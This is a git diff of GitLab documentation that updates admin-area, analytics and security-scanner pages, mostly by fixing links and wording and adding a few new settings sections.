-1. On the left sidebar, select **Overview > Gitaly Servers**.
+1. On the left sidebar, select **CI/CD > Jobs**. All jobs are listed, in descending order of job ID.
+1. Select the **All** tab to list all jobs. Select the **Pending**, **Running**, or **Finished**
+ tab to list only jobs of that status.
-For each Gitaly server, the following details are listed:
+For each job, the following details are listed:
-| Field | Description |
-|----------------|-------------|
-| Storage | Repository storage |
-| Address | Network address on which the Gitaly server is listening |
-| Server version | Gitaly version |
-| Git version | Version of Git installed on the Gitaly server |
-| Up to date | Indicates if the Gitaly server version is the latest version available. A green dot indicates the server is up to date. |
+| Field | Description |
+|----------|-------------|
+| Status | Job status, either **passed**, **skipped**, or **failed**. |
+| Job | Includes links to the job, branch, and the commit that started the job. |
+| Pipeline | Includes a link to the specific pipeline. |
+| Project | Name of the project, and organization, to which the job belongs. |
+| Runner | Name of the CI runner assigned to execute the job. |
+| Stage | Stage that the job is declared in a `.gitlab-ci.yml` file. |
+| Name | Name of the job specified in a `.gitlab-ci.yml` file. |
+| Timing | Duration of the job, and how long ago the job completed. |
+| Coverage | Percentage of tests coverage. |
## Monitoring section
diff --git a/doc/user/admin_area/license_file.md b/doc/user/admin_area/license_file.md
index 9c35a8c1269..29e43476819 100644
--- a/doc/user/admin_area/license_file.md
+++ b/doc/user/admin_area/license_file.md
@@ -75,7 +75,7 @@ and issue creation. Your instance becomes read-only and
an expiration message displays to all administrators. You have a 14-day grace period
before this occurs.
-To resume functionality, [renew your subscription](../../subscriptions/self_managed/index.md#renew-a-subscription).
+To resume functionality, [renew your subscription](../../subscriptions/self_managed/index.md#renew-subscription-manually).
If the license has been expired for more than 30 days, you must purchase a [new subscription](../../subscriptions/self_managed/index.md) to resume functionality.
@@ -187,7 +187,7 @@ License.current.data
#### Check if a project feature is available on the instance
-Features listed in <https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/app/models/license.rb>.
+Features listed in [`features.rb`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/app/models/gitlab_subscriptions/features.rb).
```ruby
License.current.feature_available?(:jira_dev_panel_integration)
@@ -195,7 +195,7 @@ License.current.feature_available?(:jira_dev_panel_integration)
#### Check if a project feature is available in a project
-Features listed in [`license.rb`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/app/models/license.rb).
+Features listed in [`features.rb`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/app/models/gitlab_subscriptions/features.rb).
```ruby
p = Project.find_by_full_path('<group>/<project>')
diff --git a/doc/user/admin_area/moderate_users.md b/doc/user/admin_area/moderate_users.md
index c0daf029b1f..3d96eaf793f 100644
--- a/doc/user/admin_area/moderate_users.md
+++ b/doc/user/admin_area/moderate_users.md
@@ -142,7 +142,7 @@ A deactivated user:
- Cannot access Git repositories or the API.
- Does not receive any notifications from GitLab.
-- Does not be able to use [slash commands](../../integration/slash_commands.md).
+- Cannot use [slash commands](../../integration/slash_commands.md).
- Does not consume a [seat](../../subscriptions/self_managed/index.md#billable-users).
Personal projects, and group and user history of the deactivated user are left intact.
@@ -223,7 +223,7 @@ On self-managed GitLab, by default this feature is available.
To hide the feature, ask an administrator to [disable the feature flag](../../administration/feature_flags.md) named `ban_user_feature_flag`.
On GitLab.com, this feature is available to GitLab.com administrators only.
-GitLab administrators can ban and unban users. Banned users are blocked, and their issues are hidden.
+GitLab administrators can ban and unban users. Banned users are blocked, and their issues and merge requests are hidden.
The banned user's comments are still displayed. Hiding a banned user's comments is [tracked in this issue](https://gitlab.com/gitlab-org/gitlab/-/issues/327356).
### Ban a user
diff --git a/doc/user/admin_area/reporting/git_abuse_rate_limit.md b/doc/user/admin_area/reporting/git_abuse_rate_limit.md
index f700b8b1ea3..66d1173058e 100644
--- a/doc/user/admin_area/reporting/git_abuse_rate_limit.md
+++ b/doc/user/admin_area/reporting/git_abuse_rate_limit.md
@@ -4,12 +4,12 @@ group: Anti-Abuse
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments
---
-# Git abuse rate limit (administration) **(ULTIMATE SELF)**
+# Git abuse rate limit (administration) **(ULTIMATE)**
> [Introduced](https://gitlab.com/groups/gitlab-org/-/epics/8066) in GitLab 15.2 [with a flag](../../../administration/feature_flags.md) named `git_abuse_rate_limit_feature_flag`. Disabled by default.
FLAG:
-On self-managed GitLab, by default this feature is not available. To make it available, ask an administrator to [enable the feature flag](../../../administration/feature_flags.md) named `git_abuse_rate_limit_feature_flag`. On GitLab.com, this feature is not available.
+On self-managed GitLab, by default this feature is not available. To make it available, ask an administrator to [enable the feature flag](../../../administration/feature_flags.md) named `git_abuse_rate_limit_feature_flag`. On GitLab.com, this feature is available.
Git abuse rate limiting is a feature to automatically [ban users](../moderate_users.md#ban-and-unban-users) who download or clone more than a specified number of repositories in any project in the instance within a given time frame. Banned users cannot sign in to the instance and cannot access any non-public group via HTTP or SSH.
diff --git a/doc/user/admin_area/settings/account_and_limit_settings.md b/doc/user/admin_area/settings/account_and_limit_settings.md
index b235b812416..7f678344955 100644
--- a/doc/user/admin_area/settings/account_and_limit_settings.md
+++ b/doc/user/admin_area/settings/account_and_limit_settings.md
@@ -102,7 +102,8 @@ to find tokens more quickly, or for use with automation tools.
The default prefix is `glpat-` but administrators can change it.
-[Project access tokens](../../project/settings/project_access_tokens.md) also inherit this prefix.
+[Project access tokens](../../project/settings/project_access_tokens.md) and
+[group access tokens](../../group/settings/group_access_tokens.md) also inherit this prefix.
### Set a prefix
@@ -291,6 +292,16 @@ By default, new users can create top-level groups. GitLab administrators can pre
1. On the left sidebar, select **Settings > General**, then expand **Account and limit**.
1. Clear the **Allow new users to create top-level groups** checkbox.
+## Set profiles of new users to private by default
+
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/231301) in GitLab 15.8.
+
+By default, newly created users have a public profile. GitLab administrators can set new users to have a private profile by default:
+
+1. On the top bar, select **Main menu > Admin**.
+1. On the left sidebar, select **Settings > General**, then expand **Account and limit**.
+1. Select the **Make new users' profiles private by default** checkbox.
+
## Troubleshooting
### 413 Request Entity Too Large
diff --git a/doc/user/admin_area/settings/continuous_integration.md b/doc/user/admin_area/settings/continuous_integration.md
index 81e51aaef37..7c869c9b8fe 100644
--- a/doc/user/admin_area/settings/continuous_integration.md
+++ b/doc/user/admin_area/settings/continuous_integration.md
@@ -52,7 +52,7 @@ you can assign that runner to other projects.
To enable a specific runner for more than one project:
1. On the top bar, select **Main menu > Admin**.
-1. From the left sidebar, select **Overview > Runners**.
+1. From the left sidebar, select **CI/CD > Runners**.
1. Select the runner you want to edit.
1. In the top right, select **Edit** (**{pencil}**).
1. Under **Restrict projects for this runner**, search for a project.
@@ -188,7 +188,7 @@ For the value set for GitLab.com, see [Scheduled job archiving](../../gitlab_com
## Protect CI/CD variables by default
To set all new [CI/CD variables](../../../ci/variables/index.md) as
-[protected](../../../ci/variables/index.md#protected-cicd-variables) by default:
+[protected](../../../ci/variables/index.md#protect-a-cicd-variable) by default:
1. On the top bar, select **Main menu > Admin**.
1. On the left sidebar, select **Settings > CI/CD**.
diff --git a/doc/user/admin_area/settings/help_page.md b/doc/user/admin_area/settings/help_page.md
index 8d0fef398af..07d3ae83d74 100644
--- a/doc/user/admin_area/settings/help_page.md
+++ b/doc/user/admin_area/settings/help_page.md
@@ -27,7 +27,7 @@ You can now see the message on `/help`.
NOTE:
By default, `/help` is visible to unauthenticated users. However, if the
[**Public** visibility level](visibility_and_access_controls.md#restrict-visibility-levels)
-is restricted, `/help` is visible only to signed-in users.
+is restricted, `/help` is visible only to authenticated users.
## Add a help message to the sign-in page
diff --git a/doc/user/admin_area/settings/instance_template_repository.md b/doc/user/admin_area/settings/instance_template_repository.md
index bf07c5b2808..026782ae83b 100644
--- a/doc/user/admin_area/settings/instance_template_repository.md
+++ b/doc/user/admin_area/settings/instance_template_repository.md
@@ -13,7 +13,7 @@ type: reference
In hosted systems, enterprises often have a need to share their own templates
across teams. This feature allows an administrator to pick a project to be the
instance-wide collection of file templates. These templates are then exposed to
-all users [via the web editor](../../project/repository/web_editor.md#template-dropdowns)
+all users through the [Web Editor](../../project/repository/web_editor.md)
while the project remains secure.
## Configuration
@@ -28,7 +28,7 @@ To select a project to serve as the custom template repository:
1. Add custom templates to the selected repository.
After you add templates, you can use them for the entire instance.
-They are available in the [Web Editor's dropdown list](../../project/repository/web_editor.md#template-dropdowns)
+They are available in the [Web Editor](../../project/repository/web_editor.md)
and through the [API settings](../../../api/settings.md).
## Supported file types and locations
diff --git a/doc/user/admin_area/settings/sign_in_restrictions.md b/doc/user/admin_area/settings/sign_in_restrictions.md
index 6ec3d082114..d663238a88c 100644
--- a/doc/user/admin_area/settings/sign_in_restrictions.md
+++ b/doc/user/admin_area/settings/sign_in_restrictions.md
@@ -68,7 +68,7 @@ For more information, see the [list of settings that can be accessed through API
Open the [Rails console](../../../administration/operations/rails_console.md) and run the following:
```ruby
-::Gitlab::CurrentSettings.update!(admin_mode true)
+::Gitlab::CurrentSettings.update!(admin_mode: true)
```
#### Use the UI to enable Admin Mode
@@ -115,6 +115,9 @@ authentication steps.
We may address these limitations in the future. For more information see the following epic:
[Admin Mode for GitLab Administrators](https://gitlab.com/groups/gitlab-org/-/epics/2158).
+Also, when GitLab Geo is enabled, you can't view the replication status of projects and designs while
+on a secondary node. A fix is proposed when projects ([issue 367926](https://gitlab.com/gitlab-org/gitlab/-/issues/367926)) and designs ([issue 355660](https://gitlab.com/gitlab-org/gitlab/-/issues/355660)) move to the new Geo framework.
+
### Troubleshooting Admin Mode
If necessary, you can disable **Admin Mode** as an administrator by using one of these two methods:
diff --git a/doc/user/admin_area/settings/terms.md b/doc/user/admin_area/settings/terms.md
index 9a02e50b23f..85927bad8ad 100644
--- a/doc/user/admin_area/settings/terms.md
+++ b/doc/user/admin_area/settings/terms.md
@@ -29,7 +29,7 @@ For each update to the terms, a new version is stored. When a user accepts or de
GitLab records which version they accepted or declined.
Existing users must accept the terms on their next GitLab interaction.
-If a signed-in user declines the terms, they are signed out.
+If an authenticated user declines the terms, they are signed out.
When enabled, it adds a mandatory checkbox to the sign up page for new users:
diff --git a/doc/user/admin_area/settings/third_party_offers.md b/doc/user/admin_area/settings/third_party_offers.md
index 8d2ae72ba69..4f6e727f673 100644
--- a/doc/user/admin_area/settings/third_party_offers.md
+++ b/doc/user/admin_area/settings/third_party_offers.md
@@ -1,6 +1,6 @@
---
stage: Manage
-group: Workspace
+group: Organization
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments
type: reference
---
diff --git a/doc/user/admin_area/settings/usage_statistics.md b/doc/user/admin_area/settings/usage_statistics.md
index df60268a8bf..8b9f09d9df5 100644
--- a/doc/user/admin_area/settings/usage_statistics.md
+++ b/doc/user/admin_area/settings/usage_statistics.md
@@ -48,7 +48,7 @@ tier. Users can continue to access the features in a paid tier without sharing u
### Features available in 14.4 and later
- [Repository size limit](../settings/account_and_limit_settings.md#repository-size-limit).
-- [Group access restriction by IP address](../../group/access_and_permissions.md#restrict-access-to-groups-by-ip-address).
+- [Group access restriction by IP address](../../group/access_and_permissions.md#restrict-group-access-by-ip-address).
NOTE:
Registration is not yet required for participation, but may be added in a future milestone.
@@ -67,7 +67,7 @@ Registration is not yet required for participation, but may be added in a future
If enabled, version check informs you if a new version is available and the
importance of it through a status. The status displays on the help pages (`/help`)
-for all signed-in users, and on the Admin Area pages. The statuses are:
+for all authenticated users, and on the Admin Area pages. The statuses are:
- Green: You are running the latest version of GitLab.
- Orange: An updated version of GitLab is available.
diff --git a/doc/user/admin_area/settings/visibility_and_access_controls.md b/doc/user/admin_area/settings/visibility_and_access_controls.md
index 4da0f5da3f4..5ca942a42bb 100644
--- a/doc/user/admin_area/settings/visibility_and_access_controls.md
+++ b/doc/user/admin_area/settings/visibility_and_access_controls.md
@@ -118,7 +118,7 @@ To set the default [visibility levels for new projects](../../public_access.md):
1. Select the desired default project visibility:
- **Private** - Project access must be granted explicitly to each user. If this
project is part of a group, access is granted to members of the group.
- - **Internal** - The project can be accessed by any logged in user except external users.
+ - **Internal** - The project can be accessed by any authenticated user except external users.
- **Public** - The project can be accessed without any authentication.
1. Select **Save changes**.
@@ -146,7 +146,7 @@ To set the default visibility levels for new groups:
1. Expand the **Visibility and access controls** section.
1. Select the desired default group visibility:
- **Private** - The group and its projects can only be viewed by members.
- - **Internal** - The group and any internal projects can be viewed by any logged in user except external users.
+ - **Internal** - The group and any internal projects can be viewed by any authenticated user except external users.
- **Public** - The group and any public projects can be viewed without any authentication.
1. Select **Save changes**.
@@ -163,7 +163,7 @@ To restrict visibility levels for projects, snippets, and selected pages:
1. Expand the **Visibility and access controls** section.
1. In the **Restricted visibility levels** section, select the desired visibility levels to restrict.
If you restrict the **Public** level:
- - User profiles are only visible to logged in users via the Web interface.
+ - User profiles are only visible to authenticated users via the Web interface.
- User attributes via the GraphQL API are:
- Not visible in [GitLab 15.1 and later](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/88020).
- Only visible to authenticated users between [GitLab 13.1](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/33195) and GitLab 15.0.
@@ -192,7 +192,25 @@ To enable the export of
1. On the top bar, select **Main menu > Admin**.
1. On the left sidebar, select **Settings > General**.
1. Expand the **Visibility and access controls** section.
-1. Select **Project export enabled**.
+1. Scroll to **Project export**.
+1. Select the **Enabled** checkbox.
+1. Select **Save changes**.
+
+## Enable migration of groups and projects by direct transfer
+
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/383268) in GitLab 15.8.
+
+You can enable migration of groups by direct transfer. To also migrate projects with the groups, you must enable the
+[`bulk_import_projects` feature flag](../../group/import/index.md#migrate-groups-by-direct-transfer-recommended).
+
+To enable migration of groups by direct transfer:
+
+1. Sign in to GitLab as a user with Administrator access level.
+1. On the top bar, select **Main menu > Admin**.
+1. On the left sidebar, select **Settings > General**.
+1. Expand the **Visibility and access controls** section.
+1. Scroll to **Allow migrating GitLab groups and projects by direct transfer**.
+1. Select the **Enabled** checkbox.
1. Select **Save changes**.
## Configure enabled Git access protocols
@@ -280,7 +298,7 @@ work in every repository. They can only be re-enabled by an administrator user o
> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/87579) in GitLab 15.1 [with a flag](../../../administration/feature_flags.md) named `group_ip_restrictions_allow_global`. Disabled by default.
> - [Generally available](https://gitlab.com/gitlab-org/gitlab/-/issues/366445) in GitLab 15.4. [Feature flag `group_ip_restrictions_allow_global`](https://gitlab.com/gitlab-org/gitlab/-/issues/366445) removed.
-Administrators can set IP address ranges to be combined with [group-level IP restrictions](../../group/access_and_permissions.md#restrict-access-to-groups-by-ip-address).
+Administrators can set IP address ranges to be combined with [group-level IP restrictions](../../group/access_and_permissions.md#restrict-group-access-by-ip-address).
Use globally-allowed IP addresses to allow aspects of the GitLab installation to work even when group-level IP address
restrictions are set.
diff --git a/doc/user/analytics/dora_metrics.md b/doc/user/analytics/dora_metrics.md
index fba0d0e98ff..9ac949f05b4 100644
--- a/doc/user/analytics/dora_metrics.md
+++ b/doc/user/analytics/dora_metrics.md
@@ -24,7 +24,7 @@ For software leaders, tracking velocity alongside quality metrics ensures they'r
For an overview, see <a href="https://www.youtube.com/watch?v=1BrcMV6rCDw">GitLab Speed Run: DORA metrics in GitLab One DevOps Platform</a>.
</div>
<figure class="video-container">
- <iframe src="https://www.youtube.com/embed/1BrcMV6rCDw" frameborder="0" allowfullscreen="true"> </iframe>
+ <iframe src="https://www.youtube-nocookie.com/embed/1BrcMV6rCDw" frameborder="0" allowfullscreen> </iframe>
</figure>
## DORA Metrics dashboard in Value Stream Analytics
diff --git a/doc/user/analytics/img/devops_metrics_comparison_v15_8.png b/doc/user/analytics/img/devops_metrics_comparison_v15_8.png
new file mode 100644
index 00000000000..3a52d9e0781
--- /dev/null
+++ b/doc/user/analytics/img/devops_metrics_comparison_v15_8.png
Binary files differ
diff --git a/doc/user/analytics/index.md b/doc/user/analytics/index.md
index 38d92180c7d..774063810f3 100644
--- a/doc/user/analytics/index.md
+++ b/doc/user/analytics/index.md
@@ -51,6 +51,14 @@ The following analytics features are available for users to create personalized
Be sure to review the documentation page for this feature for GitLab tier requirements.
+## Value streams management
+
+You can use the following analytics features to analyze and visualize the performance of your projects and groups:
+
+- [Value stream analytics for projects](value_stream_analytics.md)
+- [Value stream analytics for groups](../group/value_stream_analytics/index.md)
+- [Value streams dashboard](value_streams_dashboard.md)
+
## Definitions
We use the following terms to describe GitLab analytics:
diff --git a/doc/user/analytics/value_streams_dashboard.md b/doc/user/analytics/value_streams_dashboard.md
new file mode 100644
index 00000000000..1de26749deb
--- /dev/null
+++ b/doc/user/analytics/value_streams_dashboard.md
@@ -0,0 +1,61 @@
+---
+stage: Plan
+group: Optimize
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments
+---
+
+# Value Streams Dashboard **(PREMIUM)**
+
+> Introduced in GitLab 15.8 as a Closed [Beta](../../policy/alpha-beta-support.md#beta-features) feature.
+
+You can leave feedback on dashboard bugs or functionality in [issue 381787](https://gitlab.com/gitlab-org/gitlab/-/issues/381787).
+
+This feature is not ready for production use.
+
+The Value Streams Dashboard is a customizable dashboard to enable decision-makers to identify trends, patterns, and opportunities for digital transformation improvements.
+This page is a work in progress, and we're updating the information as we add more features.
+For more information, see the [Value Stream Management category direction page](https://about.gitlab.com/direction/plan/value_stream_management/).
+
+## Initial use case
+
+Our initial use case is focused on providing the ability to compare software delivery metrics.
+This comparison can help decision-makers understand whether projects and groups are improving.
+
+The beta version of the Value Streams Dashboard includes the following metrics:
+
+- [DORA metrics](dora_metrics.md)
+- [Value Stream Analytics (VSA) - flow metrics](value_stream_analytics.md)
+
+The Value Streams Dashboard allows you to:
+
+- Aggregate data records from different APIs.
+- Track software performance (DORA) and flow of value (VSA) across the organization.
+
+## DevOps metrics comparison
+
+The DevOps metrics comparison displays DORA4 and flow metrics for a group or project in the
+month-to-date, last month, the month before, and the past 180 days.
+
+This visualization helps you get a high-level custom view over multiple DevOps metrics and
+understand whether they're improving month over month. You can compare the performance between
+groups, projects, and teams at a glance. This visualization helps you identify the teams and projects
+that are the largest value contributors, overperforming, or underperforming.
+
+![DevOps metrics comparison](img/devops_metrics_comparison_v15_8.png)
+
+You can also drill down the metrics for further analysis.
+When you hover over a metric, a tooltip displays an explanation of the metric and a link to the related documentation page.
+
+## Customize the dashboard widgets
+
+You can customize the Value Streams Dashboard and configure what subgroups and projects to include in the page.
+
+A view can display maximum four subgroups or projects.
+
+To display multiple subgroups and projects, specify their path as a URL parameter.
+
+For example, the parameter `query=gitlab-org/gitlab-foss,gitlab-org/gitlab,gitlab-org/gitlab-design,gitlab-org/gitlab-docs` displays three separate widgets, one each for the:
+
+- `gitlab-org` group
+- `gitlab-ui` project
+- `gitlab-org/plan-stage` subgroup
diff --git a/doc/user/application_security/api_fuzzing/index.md b/doc/user/application_security/api_fuzzing/index.md
index e4ca512bdc6..31322419902 100644
--- a/doc/user/application_security/api_fuzzing/index.md
+++ b/doc/user/application_security/api_fuzzing/index.md
@@ -917,7 +917,7 @@ provide a script that performs an authentication flow or calculates the token.
is an authentication method built into the HTTP protocol and used in conjunction with
[transport layer security (TLS)](https://en.wikipedia.org/wiki/Transport_Layer_Security).
-We recommended that you [create a CI/CD variable](../../../ci/variables/index.md#custom-cicd-variables)
+We recommended that you [create a CI/CD variable](../../../ci/variables/index.md#for-a-project)
for the password (for example, `TEST_API_PASSWORD`), and set it to be masked. You can create CI/CD
variables from the GitLab project's page at **Settings > CI/CD**, in the **Variables** section.
Because of the [limitations on masked variables](../../../ci/variables/index.md#mask-a-cicd-variable),
@@ -965,7 +965,7 @@ outgoing HTTP requests.
Follow these steps to provide the bearer token with `FUZZAPI_OVERRIDES_ENV`:
-1. [Create a CI/CD variable](../../../ci/variables/index.md#custom-cicd-variables),
+1. [Create a CI/CD variable](../../../ci/variables/index.md#for-a-project),
for example `TEST_API_BEARERAUTH`, with the value
`{"headers":{"Authorization":"Bearer dXNlcm5hbWU6cGFzc3dvcmQ="}}` (substitute your token). You
can create CI/CD variables from the GitLab projects page at **Settings > CI/CD**, in the
@@ -1321,7 +1321,7 @@ variables:
```
In this example `.gitlab-ci.yml`, the `SECRET_OVERRIDES` variable provides the JSON. This is a
-[group or instance level CI/CD variable defined in the UI](../../../ci/variables/index.md#add-a-cicd-variable-to-an-instance):
+[group or instance level CI/CD variable defined in the UI](../../../ci/variables/index.md#define-a-cicd-variable-in-the-ui):
```yaml
stages:
diff --git a/doc/user/application_security/container_scanning/index.md b/doc/user/application_security/container_scanning/index.md
index e198f967eea..fc06b50b03d 100644
--- a/doc/user/application_security/container_scanning/index.md
+++ b/doc/user/application_security/container_scanning/index.md
@@ -81,7 +81,7 @@ To enable container scanning in your pipeline, you need the following:
- Docker `18.09.03` or higher installed on the same computer as the runner. If you're using the
shared runners on GitLab.com, then this is already the case.
- An image matching the [supported distributions](#supported-distributions).
-- [Build and push](../../packages/container_registry/index.md#build-and-push-by-using-gitlab-cicd)
+- [Build and push](../../packages/container_registry/build_and_push_images.md#use-gitlab-cicd)
the Docker image to your project's container registry.
- If you're using a third-party container registry, you might need to provide authentication
credentials through the `CS_REGISTRY_USER` and `CS_REGISTRY_PASSWORD` [configuration variables](#available-cicd-variables).
@@ -425,7 +425,7 @@ container_scanning:
-----END CERTIFICATE-----
```
-The `ADDITIONAL_CA_CERT_BUNDLE` value can also be configured as a [custom variable in the UI](../../../ci/variables/index.md#custom-cicd-variables), either as a `file`, which requires the path to the certificate, or as a variable, which requires the text representation of the certificate.
+The `ADDITIONAL_CA_CERT_BUNDLE` value can also be configured as a [custom variable in the UI](../../../ci/variables/index.md#for-a-project), either as a `file`, which requires the path to the certificate, or as a variable, which requires the text representation of the certificate.
### Vulnerability allowlisting **(ULTIMATE)**
@@ -637,7 +637,7 @@ container_scanning:
CS_IMAGE: "gcr.io/path-to-you-registry/image:tag"
```
-Before you commit this configuration, [add a CI/CD variable](../../../ci/variables/index.md#add-a-cicd-variable-to-a-project)
+Before you commit this configuration, [add a CI/CD variable](../../../ci/variables/index.md#for-a-project)
for `GCP_CREDENTIALS` containing the JSON key, as described in the
[Google Cloud Platform Container Registry documentation](https://cloud.google.com/container-registry/docs/advanced-authentication#json-key).
Also:
diff --git a/doc/user/application_security/coverage_fuzzing/index.md b/doc/user/application_security/coverage_fuzzing/index.md
index c04c07f561d..71c842ca277 100644
--- a/doc/user/application_security/coverage_fuzzing/index.md
+++ b/doc/user/application_security/coverage_fuzzing/index.md
@@ -159,16 +159,9 @@ the default option of one corpus per job.
The corpus registry uses the package registry to store the project's corpuses. Corpuses stored in
the registry are hidden to ensure data integrity.
-In the GitLab UI, with corpus management you can:
-
-- View details of the corpus registry.
-- Download a corpus.
-- Delete a corpus.
-- Create a new corpus.
-
When you download a corpus, the file is named `artifacts.zip`, regardless of the filename used when
the corpus was initially uploaded. This file contains only the corpus, which is different to the
-artifacts files you can download from the CI/CD pipeline.
+artifacts files you can download from the CI/CD pipeline. Also, a project member with a Reporter or above privilege can download the corpus using the direct download link.
### View details of the corpus registry
diff --git a/doc/user/application_security/dast/authentication.md b/doc/user/application_security/dast/authentication.md
index d4f91639dbc..d5ba92f399c 100644
--- a/doc/user/application_security/dast/authentication.md
+++ b/doc/user/application_security/dast/authentication.md
@@ -110,7 +110,7 @@ dast:
```
Do **not** define `DAST_USERNAME` and `DAST_PASSWORD` in the YAML job definition file as this could present a security risk. Instead, create them as masked CI/CD variables using the GitLab UI.
-See [Custom CI/CI variables](../../../ci/variables/index.md#custom-cicd-variables) for more information.
+See [Custom CI/CI variables](../../../ci/variables/index.md#for-a-project) for more information.
### Configuration for a multi-step login form
@@ -136,7 +136,7 @@ dast:
```
Do **not** define `DAST_USERNAME` and `DAST_PASSWORD` in the YAML job definition file as this could present a security risk. Instead, create them as masked CI/CD variables using the GitLab UI.
-See [Custom CI/CI variables](../../../ci/variables/index.md#custom-cicd-variables) for more information.
+See [Custom CI/CI variables](../../../ci/variables/index.md#for-a-project) for more information.
### Configuration for Single Sign-On (SSO)
diff --git a/doc/user/application_security/dast/browser_based.md b/doc/user/application_security/dast/browser_based.md
index 7377f31d0ce..96480bcb6a5 100644
--- a/doc/user/application_security/dast/browser_based.md
+++ b/doc/user/application_security/dast/browser_based.md
@@ -7,11 +7,8 @@ type: reference, howto
# DAST browser-based analyzer **(ULTIMATE)**
-> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/323423) in GitLab 13.12.
-
-WARNING:
-This product is in an early-access stage and is considered a [beta](../../../policy/alpha-beta-support.md#beta-features)
-feature.
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/323423) in GitLab 13.12 as a Beta feature.
+> - [Generally available](https://gitlab.com/groups/gitlab-org/-/epics/9023) in GitLab 15.7 (GitLab DAST v3.0.50).
WARNING:
Do not run DAST scans against a production server. Not only can it perform *any* function that
@@ -173,7 +170,7 @@ For authentication CI/CD variables, see [Authentication](authentication.md).
| `DAST_ADVERTISE_SCAN` | boolean | `true` | Set to `true` to add a `Via` header to every request sent, advertising that the request was sent as part of a GitLab DAST scan. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/334947) in GitLab 14.1. |
| `DAST_BROWSER_ACTION_STABILITY_TIMEOUT` | [Duration string](https://pkg.go.dev/time#ParseDuration) | `800ms` | The maximum amount of time to wait for a browser to consider a page loaded and ready for analysis after completing an action. |
| `DAST_BROWSER_ACTION_TIMEOUT` | [Duration string](https://pkg.go.dev/time#ParseDuration) | `7s` | The maximum amount of time to wait for a browser to complete an action. |
-| `DAST_BROWSER_ALLOWED_HOSTS` | List of strings | `site.com,another.com` | Hostnames included in this variable are considered in scope when crawled. By default the `DAST_WEBSITE` hostname is included in the allowed hosts list. |
+| `DAST_BROWSER_ALLOWED_HOSTS` | List of strings | `site.com,another.com` | Hostnames included in this variable are considered in scope when crawled. By default the `DAST_WEBSITE` hostname is included in the allowed hosts list. Headers set using `DAST_REQUEST_HEADERS` are added to every request made to these hostnames. |
| `DAST_BROWSER_COOKIES` | dictionary | `abtesting_group:3,region:locked` | A cookie name and value to be added to every request. |
| `DAST_BROWSER_CRAWL_GRAPH` | boolean | `true` | Set to `true` to generate an SVG graph of navigation paths visited during crawl phase of the scan. |
| `DAST_BROWSER_DEVTOOLS_LOG` | string | `Default:messageAndBody,truncate:2000` | Set to log protocol messages between DAST and the Chromium browser. | |
@@ -193,7 +190,8 @@ For authentication CI/CD variables, see [Authentication](authentication.md).
| `DAST_BROWSER_NAVIGATION_STABILITY_TIMEOUT` | [Duration string](https://pkg.go.dev/time#ParseDuration) | `7s` | The maximum amount of time to wait for a browser to consider a page loaded and ready for analysis after a navigation completes. |
| `DAST_BROWSER_NAVIGATION_TIMEOUT` | [Duration string](https://pkg.go.dev/time#ParseDuration) | `15s` | The maximum amount of time to wait for a browser to navigate from one page to another. |
| `DAST_BROWSER_NUMBER_OF_BROWSERS` | number | `3` | The maximum number of concurrent browser instances to use. For shared runners on GitLab.com, we recommended a maximum of three. Private runners with more resources may benefit from a higher number, but are likely to produce little benefit after five to seven instances. |
-| `DAST_BROWSER_PAGE_READY_SELECTOR` | selector | `css:#page-is-ready` | Selector that when detected as visible on the page, indicates to the analyzer that the page has finished loading and the scan can continue. |
+| `DAST_BROWSER_PAGE_LOADING_SELECTOR` | selector | `css:#page-is-loading` | Selector that when is no longer visible on the page, indicates to the analyzer that the page has finished loading and the scan can continue. Cannot be used with `DAST_BROWSER_PAGE_READY_SELECTOR` |
+| `DAST_BROWSER_PAGE_READY_SELECTOR` | selector | `css:#page-is-ready` | Selector that when detected as visible on the page, indicates to the analyzer that the page has finished loading and the scan can continue. Cannot be used with `DAST_BROWSER_PAGE_LOADING_SELECTOR` |
| `DAST_BROWSER_SCAN` | boolean | `true` | Required to be `true` to run a browser-based scan. |
| `DAST_BROWSER_SEARCH_ELEMENT_TIMEOUT` | [Duration string](https://pkg.go.dev/time#ParseDuration) | `3s` | The maximum amount of time to allow the browser to search for new elements or user actions. |
| `DAST_BROWSER_STABILITY_TIMEOUT` | [Duration string](https://pkg.go.dev/time#ParseDuration) | `7s` | The maximum amount of time to wait for a browser to consider a page loaded and ready for analysis. |
@@ -203,8 +201,8 @@ For authentication CI/CD variables, see [Authentication](authentication.md).
| `DAST_PATHS` | string | `/page1.html,/category1/page3.html` | Set to a comma-separated list of URL paths relative to `DAST_WEBSITE` for DAST to scan. |
| `DAST_PATHS_FILE` | string | `/builds/project/urls.txt` | Set to a file path containing a list of URL paths relative to `DAST_WEBSITE` for DAST to scan. The file must be plain text with one path per line. |
| `DAST_PKCS12_CERTIFICATE_BASE64` | string | `ZGZkZ2p5NGd...` | The PKCS12 certificate used for sites that require Mutual TLS. Must be encoded as base64 text. |
-| `DAST_PKCS12_PASSWORD` | string | `password` | The password of the certificate used in `DAST_PKCS12_CERTIFICATE_BASE64`. Create sensitive [custom CI/CI variables](../../../ci/variables/index.md#custom-cicd-variables) using the GitLab UI. |
-| `DAST_REQUEST_HEADERS` | string | `Cache-control:no-cache` | Set to a comma-separated list of request header names and values. Headers are added to every request made to `DAST_BROWSER_ALLOWED_HOSTS` by DAST. |
+| `DAST_PKCS12_PASSWORD` | string | `password` | The password of the certificate used in `DAST_PKCS12_CERTIFICATE_BASE64`. Create sensitive [custom CI/CI variables](../../../ci/variables/index.md#define-a-cicd-variable-in-the-ui) using the GitLab UI. |
+| `DAST_REQUEST_HEADERS` | string | `Cache-control:no-cache` | Set to a comma-separated list of request header names and values. |
